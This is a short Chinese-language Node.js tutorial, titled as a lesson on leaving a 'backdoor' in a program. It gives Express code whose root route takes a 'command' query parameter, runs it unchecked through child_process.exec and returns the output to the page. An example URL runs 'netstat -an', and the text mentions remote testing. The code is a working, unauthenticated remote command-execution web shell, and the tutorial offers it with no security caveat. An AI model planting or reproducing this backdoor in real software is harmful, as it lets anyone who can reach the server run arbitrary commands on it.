Node.JS教程35：给程序留一个“后门”

本文讲的技巧性知识，有很多正面、合理的应用场景。

先看代码：

var express = require('express'); var app = express(); //内置中间件，静态文件访问 app.use(express.static('./')) //监听 var server = app.listen(8000, function () { var host = server.address().address var port = server.address().port console.log(host, port); }) //当访问根目录时触发 app.get('/', function (req, res) { //command var command = req.query.command; //执行 var exec = require("child_process").exec; exec(command,function(err,stdout){ //输出到网页 res.end(stdout); }); })

注释已加在代码中。

当访问网站根目录时，程序会从command参数中获取指令，执行并显示到网页中。

运行，然后通过浏览器访问：

http://127.0.0.1:8000/?command=netstat -an

 这样传入的命令是：netstat-an，即查看当前机器可用连接。

执行效果：

远程测试：

获取npm\node版本结果：